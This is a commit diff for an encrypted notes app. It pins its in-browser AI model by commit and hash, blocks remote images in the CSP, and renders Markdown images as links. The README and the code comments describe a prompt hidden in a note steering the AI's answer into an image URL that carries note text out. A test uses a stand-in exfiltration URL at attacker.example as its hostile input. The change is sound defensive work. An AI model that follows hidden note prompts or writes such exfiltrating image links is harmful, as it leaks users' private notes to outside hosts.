fix(ai): load no remote images, and pin the on-device model

README.md

@@ -70,7 +70,14 @@ that **burns after reading**.
   replayed request cannot burn another view.
 - **On-device AI.** The model reads the note in the browser that decrypted it. The only network traffic
   is the model's files on first use (Hugging Face and the MLC model library on GitHub), which is why the
-  page's CSP allows those hosts and `'wasm-unsafe-eval'` for the model's WebAssembly.
+  page's CSP allows those hosts and `'wasm-unsafe-eval'` for the model's WebAssembly. Both are pinned to a
+  commit, and WebLLM checks the model's config, its tokenizer and its WebAssembly library against hashes
+  before it runs them (`frontend/src/lib/localAi.ts`), so a push to either repository cannot change the
+  code that reads your notes.
+- **No remote images.** Fetching an image sends its URL to its host, so a note's Markdown or an AI answer
+  (which a prompt hidden in a note could steer) could carry text out that way, and an image in a shared
+  note would tell its sender when it was opened. Markdown shows images as links instead, and the CSP's
+  `img-src` allows only the app itself.
 - **AI on the canister (when switched on).** The assistant needs plaintext. Only the text you pick for an action (or,
   for *Ask your notes*, the few notes your browser ranks as relevant) goes to the LLM canister.
   Everything else stays encrypted.

frontend/public/.ic-assets.json5

@@ -1,13 +1,17 @@
 // Headers for the asset canister (icp-cli asset-canister recipe).
 //
 // On-device AI: WebLLM compiles the model's WebAssembly ('wasm-unsafe-eval', not 'unsafe-eval') and
-// downloads the model's files once from Hugging Face and the MLC model library on GitHub. Only those
-// files come in; no note text goes out. Chrome's built-in model needs none of this.
+// downloads the model's files once from Hugging Face and the MLC model library on GitHub, both pinned
+// and hash-checked (src/lib/localAi.ts). Only those files come in; no note text goes out. Chrome's
+// built-in model needs none of this.
+//
+// img-src allows no other host: the app has no remote images, and Markdown shows a note's or an AI
+// answer's images as links (src/components/Markdown.tsx), since loading one would send its URL out.
 [
   {
     match: "**/*",
     headers: {
-      "Content-Security-Policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; connect-src 'self' http://localhost:* http://127.0.0.1:* https://icp0.io https://*.icp0.io https://icp-api.io https://ic0.app https://*.ic0.app https://huggingface.co https://*.huggingface.co https://*.hf.co https://raw.githubusercontent.com; img-src 'self' data: https:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'",
+      "Content-Security-Policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; connect-src 'self' http://localhost:* http://127.0.0.1:* https://icp0.io https://*.icp0.io https://icp-api.io https://ic0.app https://*.ic0.app https://huggingface.co https://*.huggingface.co https://*.hf.co https://raw.githubusercontent.com; img-src 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'",
       "Referrer-Policy": "no-referrer",
       "X-Content-Type-Options": "nosniff",
       "X-Frame-Options": "DENY",

frontend/src/components/Markdown.tsx

@@ -14,6 +14,18 @@ const REMARK_PLUGINS = [remarkGfm, remarkBreaks]
 
 const components: Components = {
   a: ({ node: _node, ...props }) => <a {...props} target="_blank" rel="noopener noreferrer" />,
+  // Images are not loaded (README, "How the encryption works"): fetching one
+  // tells its host that the note was opened, and its URL can carry text out,
+  // for example when an AI answer is steered into writing one. The CSP's
+  // img-src refuses them too. The image stays as a link to it.
+  img: ({ node: _node, src, alt }) =>
+    typeof src === "string" && src !== "" ? (
+      <a href={src} target="_blank" rel="noopener noreferrer">
+        {alt || "Image"}
+      </a>
+    ) : (
+      <>{alt}</>
+    ),
   li: ({ node, ...props }) => (
     <TaskLine.Provider value={node?.position?.start.line ?? null}>
       <li {...props} />

frontend/src/lib/localAi.test.ts

@@ -0,0 +1,53 @@
+import type { AppConfig, ModelRecord } from "@mlc-ai/web-llm"
+import { afterEach, describe, expect, it, vi } from "vitest"
+
+// Stands in for WebLLM, which needs WebGPU.
+const webllm = vi.hoisted(() => ({
+  CreateMLCEngine: vi.fn(async (..._args: unknown[]) => ({ interruptGenerate() {} })),
+  deleteModelAllInfoInCache: vi.fn(async (..._args: unknown[]) => {}),
+}))
+vi.mock("@mlc-ai/web-llm", () => webllm)
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+})
+
+const SHA1 = "[0-9a-f]{40}"
+const SRI = /^sha256-[A-Za-z0-9+/]{43}=$/
+
+describe("the open model", () => {
+  it("is web-llm's own record for it, pinned to commits and checked against hashes", async () => {
+    const { WEBLLM_CONFIG, WEBLLM_MODEL } = await import("./localAi")
+    const { prebuiltAppConfig } = await vi.importActual<{ prebuiltAppConfig: AppConfig }>("@mlc-ai/web-llm")
+    const upstream = prebuiltAppConfig.model_list.find((m) => m.model_id === WEBLLM_MODEL) as ModelRecord
+    const [pinned] = WEBLLM_CONFIG.model_list
+    const { model, model_lib, integrity, ...rest } = pinned
+    const { model: upstreamModel, model_lib: upstreamLib, ...upstreamRest } = upstream
+
+    expect(model).toMatch(new RegExp(`/resolve/${SHA1}/$`))
+    expect(model.replace(new RegExp(`resolve/${SHA1}/$`), "")).toBe(`${upstreamModel}/`)
+    expect(model_lib).toMatch(
+      new RegExp(`^https://raw\\.githubusercontent\\.com/mlc-ai/binary-mlc-llm-libs/${SHA1}/`),
+    )
+    expect(model_lib.replace(new RegExp(`/${SHA1}/`), "/main/")).toBe(upstreamLib)
+    expect(rest).toEqual(upstreamRest)
+    expect(integrity?.config).toMatch(SRI)
+    expect(integrity?.model_lib).toMatch(SRI)
+    expect(integrity?.tokenizer?.["tokenizer.json"]).toMatch(SRI)
+    expect(integrity?.onFailure).toBe("error")
+  })
+
+  it("is downloaded and removed through the pinned record", async () => {
+    vi.stubGlobal("navigator", { gpu: { requestAdapter: async () => ({}) } })
+    vi.resetModules()
+    const { WEBLLM_CONFIG, WEBLLM_MODEL, forgetLocalModel, prepareLocalAi } = await import("./localAi")
+
+    await prepareLocalAi()
+    expect(webllm.CreateMLCEngine).toHaveBeenCalledWith(
+      WEBLLM_MODEL,
+      expect.objectContaining({ appConfig: WEBLLM_CONFIG }),
+    )
+    await forgetLocalModel()
+    expect(webllm.deleteModelAllInfoInCache).toHaveBeenCalledWith(WEBLLM_MODEL, WEBLLM_CONFIG)
+  })
+})

frontend/src/lib/localAi.ts

@@ -4,7 +4,7 @@
  * open model downloaded once and run on the GPU with WebLLM. No note text is sent
  * anywhere; only the model's files are downloaded, the first time.
  */
-import type { MLCEngine } from "@mlc-ai/web-llm"
+import type { AppConfig, MLCEngine } from "@mlc-ai/web-llm"
 
 export type LocalEngine = "chrome" | "webllm"
 
@@ -23,6 +23,38 @@ export interface LocalPrompt {
 }
 
 export const WEBLLM_MODEL = "Qwen2.5-1.5B-Instruct-q4f16_1-MLC"
+
+/**
+ * The open model, pinned. web-llm's own list downloads the model's files and
+ * its WebAssembly library from the `main` branches of Hugging Face and GitHub,
+ * so whoever can push there could change the code that reads decrypted notes.
+ * This record fixes both at a commit, and web-llm checks the config, the
+ * tokenizer and the library against these hashes before it runs anything
+ * (`onFailure: "error"`). The rest is web-llm 0.2.85's own record for the
+ * model (localAi.test.ts compares them); a web-llm upgrade that moves to new
+ * model libraries needs a new pin.
+ */
+export const WEBLLM_CONFIG: AppConfig = {
+  model_list: [
+    {
+      model:
+        "https://huggingface.co/mlc-ai/Qwen2.5-1.5B-Instruct-q4f16_1-MLC/resolve/9bd564b064631febf14deadcac492efb761d60c3/",
+      model_id: WEBLLM_MODEL,
+      model_lib:
+        "https://raw.githubusercontent.com/mlc-ai/binary-mlc-llm-libs/025bcaf3780fa8254f5e5efd3bfea0a5397248f4/web-llm-models/v0_2_84/base/Qwen2-1.5B-Instruct-q4f16_1_cs1k-webgpu.wasm",
+      low_resource_required: true,
+      vram_required_MB: 1629.75,
+      overrides: { context_window_size: 4096 },
+      integrity: {
+        config: "sha256-faSVQhLT8hqRzD5pPRefYyE/1XNWeWhH9l1/lUeKH54=",
+        tokenizer: { "tokenizer.json": "sha256-wDghF+oynN8JcEETL21zWSS2l5JNb2/DlFcT6WzodTk=" },
+        model_lib: "sha256-D861C7r0fv3DH86WtywRXct/UiHIWr5qn8At2p0db8M=",
+        onFailure: "error",
+      },
+    },
+  ],
+}
+
 const MODEL_NAME: Record<LocalEngine, string> = { chrome: "gemini-nano", webllm: "Qwen2.5-1.5B-Instruct" }
 const DOWNLOAD_SIZE: Record<LocalEngine, string> = {
   chrome: "Chrome downloads it once",
@@ -202,6 +234,7 @@ export function prepareLocalAi(): Promise<Runner> {
         set({ status: "downloading", engine: current, model, progress: 0, text: "Starting" })
         const { CreateMLCEngine } = await import("@mlc-ai/web-llm")
         const mlc = await CreateMLCEngine(WEBLLM_MODEL, {
+          appConfig: WEBLLM_CONFIG,
           initProgressCallback: (report) =>
             set({
               status: "downloading",
@@ -239,7 +272,7 @@ export async function runLocalAi(
 export async function forgetLocalModel(): Promise<void> {
   if (engine !== "webllm") return
   const { deleteModelAllInfoInCache } = await import("@mlc-ai/web-llm")
-  await deleteModelAllInfoInCache(WEBLLM_MODEL)
+  await deleteModelAllInfoInCache(WEBLLM_MODEL, WEBLLM_CONFIG)
   remember(false)
   runner = null
   preparing = null

frontend/tests/csp.test.ts

@@ -0,0 +1,31 @@
+/**
+ * The page's Content-Security-Policy, from the asset canister's headers
+ * (public/.ic-assets.json5).
+ */
+import { readFileSync } from "node:fs"
+import { dirname, join } from "node:path"
+import { fileURLToPath } from "node:url"
+import { describe, expect, it } from "vitest"
+
+const rules = readFileSync(
+  join(dirname(fileURLToPath(import.meta.url)), "../public/.ic-assets.json5"),
+  "utf8",
+)
+
+/** Each directive of the policy and its sources. */
+function policy(): Map<string, string[]> {
+  const header = rules.match(/"Content-Security-Policy": "([^"]+)"/)
+  if (!header) throw new Error("No Content-Security-Policy in .ic-assets.json5")
+  return new Map(
+    header[1].split(";").map((directive) => {
+      const [name, ...sources] = directive.trim().split(/\s+/)
+      return [name, sources]
+    }),
+  )
+}
+
+describe("the Content-Security-Policy", () => {
+  it("loads images from the app only, so no image URL can carry a note out", () => {
+    expect(policy().get("img-src")).toEqual(["'self'", "data:"])
+  })
+})

frontend/tests/markdown.test.tsx

@@ -31,4 +31,14 @@ describe("Markdown", () => {
     expect(link.getAttribute("rel")).toBe("noopener noreferrer")
     expect(container.querySelector("img")).toBeNull()
   })
+
+  it("loads no images: a Markdown image becomes a link to it", () => {
+    const url = "https://attacker.example/p.png?q=the%20other%20notes"
+    const { container } = render(<Markdown source={`Summary\n\n![chart](${url}) and ![](${url}#2)`} />)
+    expect(container.querySelector("img")).toBeNull()
+    const link = screen.getByRole("link", { name: "chart" })
+    expect(link.getAttribute("href")).toBe(url)
+    expect(link.getAttribute("rel")).toBe("noopener noreferrer")
+    expect(screen.getByRole("link", { name: "Image" }).getAttribute("href")).toBe(`${url}#2`)
+  })
 })